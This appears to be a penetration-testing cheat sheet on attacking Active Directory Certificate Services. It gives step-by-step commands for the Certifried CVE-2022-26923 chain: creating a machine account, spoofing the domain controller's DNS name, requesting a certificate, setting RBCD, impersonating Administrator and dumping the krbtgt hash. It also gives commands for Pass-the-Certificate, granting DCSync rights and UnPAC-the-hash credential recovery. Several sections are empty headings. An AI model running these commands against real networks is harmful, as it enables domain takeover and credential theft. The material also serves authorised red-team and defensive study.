Active Directory - Certificate Services
Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
ADCS Enumeration
-
NetExec:
-
ldapsearch:
-
certutil:
Certificate Enrollment
-
DNS required (
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
orCT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
): only principals with theirdNSHostName
attribute set can enroll.- Active Directory Users cannot enroll in certificate templates requiring
dNSHostName
. - Computers will get their
dNSHostName
attribute set when you domain-join a computer, but the attribute is null if you simply create a computer object in AD. - Computers have validated write to their
dNSHostName
attribute meaning they can add a DNS name matching their computer name.
- Active Directory Users cannot enroll in certificate templates requiring
-
Email required (
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
orCT_FLAG_SUBJECT_REQUIRE_EMAIL
): only principals with theirmail
attribute set can enroll unless the template is of schema version 1.- By default, users and computers do not have their
mail
attribute set, and they cannot modify this attribute themselves. - Users might have the
mail
attribute set, but it is rare for computers.
- By default, users and computers do not have their
Certifried CVE-2022-26923
An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
- Find
ms-DS-MachineAccountQuota
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
- Add a new computer in the Active Directory, by default
MachineAccountQuota = 10
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
- [ALTERNATIVE] If you are
SYSTEM
and theMachineAccountQuota=0
: Use a ticket for the current machine and reset its SPN
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
- Set the
dNSHostName
attribute to match the Domain Controller hostname
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
- Request a ticket
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
- Either use the pfx or set a RBCD on your machine account to takeover the domain
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
Pass-The-Certificate
Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
- Windows
# Information about a cert file
certutil -v -dump admin.pfx
# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
- Linux
# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
PKINIT ERROR
When the DC does not support PKINIT (the pre-authentication allowing to retrieve either TGT or NT Hash using certificate). You will get an error like the following in the tool's output.
$ certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
[...]
KDC_ERROR_CLIENT_NOT_TRUSTED (Reserved for PKINIT)
There is still a way to use the certificate to takeover the account.
-
Open an LDAP shell using the certificate
-
Add a computer for RBCD
-
Set the RBCD
-
Request a ticket with impersonation
-
Use the ticket
UnPAC The Hash
Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.
-
Windows
-
Linux
# Obtain a TGT by validating a PKINIT pre-authentication $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # Use the session key to recover the NT hash $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
Common Error Messages
Error Name | Description |
---|---|
CERTSRV_E_TEMPLATE_DENIED |
The permissions on the certificate template do not allow the current user to enroll |
KDC_ERR_INCONSISTENT_KEY_PURPOSE |
Certificate cannot be used for PKINIT client authentication |
KDC_ERROR_CLIENT_NOT_TRUSTED |
Reserved for PKINIT. Try to authenticate to another DC |
KDC_ERR_PADATA_TYPE_NOSUPP |
KDC has no support for padata type. CA might be expired |
KDC_ERR_PADATA_TYPE_NOSUPP
error still allow the attacker to use the certificate with the Pass-The-Cert. Since the DC's LDAPS service only check the SAN.
References
- Access controls - The Hacker Recipes
- AD CS Domain Escalation - HackTricks
- AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev
- AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh
- AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022
- AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021
- ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024
- ADCS ESC13 Abuse Technique - Jonas Bülow Knudsen - 02/15/2024
- ADCS ESC14 Abuse Technique - Jonas Bülow Knudsen - 02/01/2024
- ADCS ESC14 Abuse Technique - Jonas Bülow Knudsen - February 28, 2024
- ADCS Exploitation Part 2: Certificate Mapping + ESC15 - Giulio Pierantoni - Oct 10, 2024
- ADCS: Playing with ESC4 - Matthew Creel
- bloodyAD and CVE-2022-26923 - soka - 11 May 2022
- CA configuration - The Hacker Recipes
- Certificate templates - The Hacker Recipes
- Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022
- Certified Pre-Owned - Will Schroeder - Jun 17 2021
- Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021
- Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_
- Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak
- Curious case of AD CS ESC15 vulnerable instance and its manual exploitation - Mannu Linux - February 13, 2025
- Diving Into AD CS: Exploring Some Common Error Messages - Jacques Coertze - March 7, 2025
- EKUwu: Not just another AD CS ESC - Justin Bollinger - October 08, 2024
- ESC12 – Shell access to ADCS CA with YubiHSM - hajo - October 2023
- ESC15/EKUwu PR #228 - dru1d-foofus - 10/08/2024
- Exploitation de l’AD CS : ESC12, ESC13 et ESC14 - Guillon Bony Rémi - February, 2025
- From DA to EA with ESC5 - Andy Robbins - May 16, 2023
- Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021
- NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema
- Relaying to AD Certificate Services over RPC - NOVEMBER 16, 2022 - SYLVAIN HEINIGER
- UnPAC the hash - The Hacker Recipes
- Web endpoints - The Hacker Recipes